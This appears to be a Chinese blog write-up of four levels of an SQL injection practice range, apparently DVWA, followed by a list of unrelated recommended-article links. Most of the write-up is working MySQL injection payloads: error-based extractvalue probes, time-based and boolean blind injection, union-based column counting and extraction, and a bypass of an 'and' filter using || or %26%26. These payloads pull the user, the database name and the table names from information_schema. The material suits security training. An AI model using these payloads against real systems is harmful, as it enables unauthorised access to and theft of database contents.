【sql注入】sql关卡1~4

前言: 靶场自取

level-1

测试注入点

POC: 1,1',1'',1"",1/1,1/0

==》存在注入点

爆破

POC: id=-1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+

level-2

尝试注入点

POC1:admin'

POC2:admin''

POC3:admin''+and+sleep(3)--+

POC4: admin'+and+if(1,1,0)=0--+

POC5: admin'+and+if(1,1,0)=1--+

==》
POC1,POC2没有反应
POC3存在延时输出,存在休眠盲注
POC4、POC5存在content-length周期变化,存在布尔盲注

爆破

尝试盲注

  • step1: 爆破数据库名

    ==》 数据库长度为4

  • step2: 获取数据库每个字符

    ==》 database: dvwa

    同理得到用户名:root@localhost

    ==》爆出表名

    POC:id=admin'+and+if(substr(concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e),§1§,1)='§a§',1,0)--+

    ==》得到表名:guestbook,users

level-3

测试注入点

利用1,1',1",1/1,1/2

===》

a. 存在注入点

b. 注入点是表名,猜想sql语句为select * from '$id$ where user_id='1' LIMIT 0,1

爆破

POC=id=(select(extractValue(1,concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e))))as+a--+

  1. 尝试表名

  2. 尝试爆破其他字段

  • 方式一:union方式

    • step1: 获取列数(二分法)

      POC1: id=users+order+by 10 //不回显

      POC2: id=users+order+by 5 //回显

      POC3: id=users+order+by 7 //回显

      POC4: id=users+order+by 8 //回显

      POC5: id=users+order+by 9 //不回显
      ===》 8列

    • step2: 获取回显位

      POC: id=users+where+user_id=-1+union+select+1,2,3,4,5,6,7,8--+

      注意这里需要手动构造where user_id=-1 ==》 回显位:4,5

    • step 3: 爆破数据

      • 爆破用户名、数据库
        POC: id=users+where+user_id=-1+union+select+1,2,3,user(),database(),6,7,8--+
  • 方式二:报错函数方式

    • 爆破用户名
      POC: id=(select(extractvalue(1,concat(0x7e,user()))))as+a--+
    • 爆出数据库
      POC: id=(select(extractvalue(1,concat(0x7e,database()))))as+a--+

level-4

测试注入点

POC: 1'、1"、1""、1/0、1/1,sleep

==》 id=1存在注入

爆破

  • POC: id=1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+

==》and被转移为_了

  • 尝试使用||代替and。
    POC: id=1'+||+extractvalue(1,concat(0x7e,user(),0x7e))--+

==》成功爆破

  • 尝试%26代替
    POC: id=1'%26%26+extractvalue(1,concat(0x7e,user(),0x7e))--+

    ==》成功爆破
相关推荐
一灰灰blog2 小时前
Spring AI中的多轮对话艺术:让大模型主动提问获取明确需求
数据库·人工智能·spring
Nandeska2 小时前
15、基于MySQL的组复制
数据库·mysql
AllData公司负责人3 小时前
AllData数据中台-数据同步平台【Seatunnel-Web】整库同步MySQL同步Doris能力演示
大数据·数据库·mysql·开源
加油,小猿猿3 小时前
Java开发日志-双数据库事务问题
java·开发语言·数据库
山岚的运维笔记4 小时前
SQL Server笔记 -- 第20章:TRY/CATCH
java·数据库·笔记·sql·microsoft·sqlserver
Gain_chance4 小时前
33-学习笔记尚硅谷数仓搭建-DWS层交易域用户粒度订单表分析及设计代码
数据库·数据仓库·hive·笔记·学习·datagrip
未来之窗软件服务4 小时前
计算机等级考试—高频英语词汇—东方仙盟练气期
数据库·计算机软考·东方仙盟
lekami_兰4 小时前
MySQL 长事务:藏在业务里的性能 “隐形杀手”
数据库·mysql·go·长事务
JQLvopkk4 小时前
C# 轻量级工业温湿度监控系统(含数据库与源码)
开发语言·数据库·c#
devmoon6 小时前
在 Polkadot Runtime 中添加多个 Pallet 实例实战指南
java·开发语言·数据库·web3·区块链·波卡